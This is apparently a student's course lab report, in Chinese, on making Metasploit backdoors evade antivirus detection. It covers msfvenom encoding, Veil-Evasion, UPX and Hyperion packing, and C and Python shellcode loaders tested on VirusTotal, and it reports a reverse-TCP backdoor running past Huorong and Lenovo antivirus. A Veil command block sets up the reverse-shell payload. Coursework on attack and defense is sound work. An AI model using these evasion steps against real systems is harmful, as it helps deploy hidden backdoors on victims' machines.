20212308 2023-2024-2 《网络与系统攻防技术》实验三实验报告
文章目录
1.实验内容
1.1实践内容
- (1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程 - (2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。 - (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2问题回答
(1)杀软是如何检测出恶意代码的?
答:
杀软检测恶意代码主要有三种方式:基于特征码的检测、启发式恶意软件检测、基于行为的恶意软件检测。
①基于特征码的检测就是把特征库与文件内容比对,如果匹配则说明文件含有恶意代码,之前《信息安全保障技术》使用的snort就是一个例子。
②启发式恶意软件检测是根据软件的行为(典型的行为如连接恶意网站、开放端口、修改系统文件)推测其是否为恶意软件。
③基于行为的恶意软件检测是后来提出的,可以理解为加入了行为监控的启发式恶意软件检测。
(2)免杀是做什么?
答:
免杀就是防止杀毒软件杀掉(反杀毒)的技术。免杀可以使得攻击者将含有恶意代码的程序放入被攻击者的设备中而不被杀毒软件发现,进而可以达到网络攻击的目的。
(3)免杀的基本方法有哪些?
答:
①修改特征码,让特征不易被杀软识别;
②修改校验和,让含有恶意代码的文件冒充“正常”文件;
③花指令免杀,插入垃圾指令以阻止反汇编程序;
④加壳免杀,对可执行文件等的资源进行压缩或加密(本质是编码),由于过程在内存中完成,有一定隐蔽性;
⑤内存免杀,在内存中继续重复上面的步骤,使恶意软件在内存中不被杀掉。
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msf编码器
(1)查看一下Kali的ip
(2)用VirusTotal测试一下实验二的后门文件
- 这里我使用的是VirusTotal。VirusTotal集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
- 先熟悉一下VT工具,图中的关键词可以看出,所检测的文件“可疑”“针对windows的后门文件”“使用meterpreter生成的”等信息。
- 而且,VT工具可以观察到文件的其他细节,例如32位PE文件、哈希值、文件大小等等。
- 看样子免杀效果并不好。情理之中,之前的文件我们并没有加任何免杀技术。
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。
VirusTotal:https://www.virustotal.com/
Virscan:http://www.virscan.org/
(3)测试编码次数对免杀效果的影响
在其他设置相同的情况下,分别编码1次、10次、50次,并用VT检测,看看结果如何。
- 理论上讲,编码次数多会降低检出率,实际结果基本无影响
- AV厂商会研究编码器,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征
(4)测试生成其他类型的文件
修改msf的payload,生成其他类型的文件,看看对免杀效果的影响。
- 可以初步得出如下结论:使用不同编程语言的payload对免杀效果有一定的影响
- 上述测试的结果:免杀效果由高到低排序为.py > .php > .apk > .jar
2.1.2 使用veil-evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装,所以我们要安装一下。Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。
(1)Kali 2024安装Veil
Kali安装Veil跟版本有关系,版本不对,努力白费!我用的是2024版。
①查看一下有没有veil,没有的话用git克隆一个,veil是开源的,地址是:https://github.com/Veil-Framework/Veil/blob/master/README.md
setup.sh是启动文件,设置silent模式和force模式(否则会失败),期间※一定要保持网络畅通※,※一定要耐心等待※,真的需要一些时间,不是卡住了,要等下去!!!!!【安装的太艰难了,反复安装了两个晚上,得出来的宝贵经验】
实践veil-evasion
veil
# 进入veil
use evasion
# 使用evasion框架
use c/meterpreter/rev_tcp.py
# 选择payload
set LHOST 172.30.2.53
set LPORT 2308
# 设置回连ip和端口(即Kali的ip和端口)
generate
# 生成
veil有两个免杀的工具,Evasion和Ordnance。Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
我们选择evasion。
然后选择我们要使用的payload,这里我选择的是用于生成 Meterpreter 反向 TCP 连接 payload 的 Python 脚本
根据提示信息找到生成的可执行文件。
让VT检测一下。
之前我们得出过结论:不同编程语言生成的paylaod免杀效果有区别。于是我用之前测试效果最好的python语言再实践一下。
果然!免杀效果好多了!
2.1.3 使用加壳工具
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
- 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
- MSF的编码器使用类似方法,对shellcode进行再编码。
从技术上分壳分为:
- 压缩壳
减少应用体积,如ASPack,UPX - 加密壳
版权保护,反跟踪。如ASProtect,Armadillo - 虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
接下来实践一下.
(1)使用UPX实现压缩壳
(2)使用hyperion实现加密壳技术
(3)总结
总的来看,加壳技术对免杀效果影响不大,压缩壳微有下降,加密壳不降反升。
从lyd老师的实践指导书中可以学习到加密壳不降反升的原因:
这种方法还是会被一些AV检测出,原因就在于加密过的代码段的熵太高。这可以用一种非常简单的方法处理,在每个字节后跟一个空字节,解密程序只要忽略空字节就可以了。有人测试过这种方法可以达到免检(2016)。不过没有工具可用,自己实现起来有难度,而且空间要求高。
2.1.4 使用C + shellcode编程
此处换了网络,ip有变化。
(1)用msf生成shellcode
msf是老朋友了,不再额外解释了。
(2)把shellcode插进c文件中
(3)用mingw32编译构建成可执行文件
(4)用VT测试一下吧
2.1.5把上面实践的所有后门文件都传给Windows,看看免杀结果
有两个实现了免杀,其余均被查出。
杀软:联想电脑管家
主机:Windows11家庭版
2.2 通过组合应用各种技术实现恶意代码免杀
其实上面2.1.5中已经有两个文件实现了免杀,但学无止境,重新开始尝试!
2.2.1 Python加载shellcode实现免杀【最后失败了】
参考该网址:https://mp.weixin.qq.com/s/KhX9YPqmvij54pTXpcS9bg
此处又切换了网络,ip变了
(1)msf生成shellcode
(2)构造含有shellcode的py文件
(3)安装pyinstaller
pyinstall可以把.py文件构建成.exe可执行文件。下面是在windows中操作。
上面的参考链接中是给了相关网址,下载配置依赖。
但经过我的亲身实践,直接用命令行安装最快(用清华源),而且最不容易出错!强推!
(4)生成可执行文件
(5)VT测试一下
测试结果还可以。整个实验做下来,这个数值并不高。
(6)上杀软!
完蛋了,白玩了。windows安全中心和联想电脑管家都看出来了这是个后门文件,免杀失败。
2.2.2 基于2.2.1的几个相近的尝试【失败了】
还是参考了上面那篇链接,链接中说更改编码有效果,于是我分别在2.2.1的基础上加了hex编码、base64编码、hex编码+64编码,还是做不到免杀。
2.2.3 试试ruby【失败了】
kali的ip变了
ruby是一款完全面向对象的编程语言,最近一次排行中排进了前二十,试试它。
还是失败了。
2.2.4 组合技:msf生成shellcode + base64编码 + 半手工编程(异或加密 + python)+ 主机生成可执行文件【再次失败了】
2.2.5 shellcode+两次编码+c语言半手工编程【成功】
查看msf支持的编码
在2.2.4的基础上,我又微调了很多细节,但仍然达不到免杀。于是询问同学,得出下面的结果。
杀软:联想电脑管家(5.1.58.2252)、火绒安全(5.0.75.4)
主机:Windows11家庭版
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
杀软:火绒安全(5.0.75.4)
主机:Windows11家庭版
3.问题及解决方案
3.1 问题1:veil安装问题(安装后,启动会再次要求安装,一直循环往复)
问题1解决方案:这个问题是跟Kali版本有关,我查找了克隆的github网站的README.md,尝试了下图命令,但我以为一致没运行下去是卡住了,实际上是需要很长时间,所以等下去问题就解决啦。
3.2 问题2:veil无法生成可执行文件
问题2解决方案:阅读报错提示信息,查找hithub,是wine的权限不够,给权限就可以啦
github参考资料地址:https://github.com/Veil-Framework/Veil/issues/373
4.学习感悟、思考等
本次实验做的还是很艰难的,有两座大山:Veil安装、免杀技术实现。花费的时间长,还不知道错在哪。实验后期我试了很多免杀组合技都失败了。很多次只是微调,比如加个壳或者加个密之类的,也失败了,就没写在博客中。
事后反思,我觉得可能没有找到问题的根本,没有把显著特征隐去。当然网上有许多免杀工具,不需要写代码可以直接生成免杀效果较好的文件,但那就失去了本次实验的锻炼意义,所以我没有选择使用,而是自己一点点尝试和思考。
不断的失败让人感觉沮丧,但走过失败的阶梯,才能到达顶楼,收获成长。网络攻防实验就是对思考力、毅力的锻炼。为者常成,行者常至。继续吧!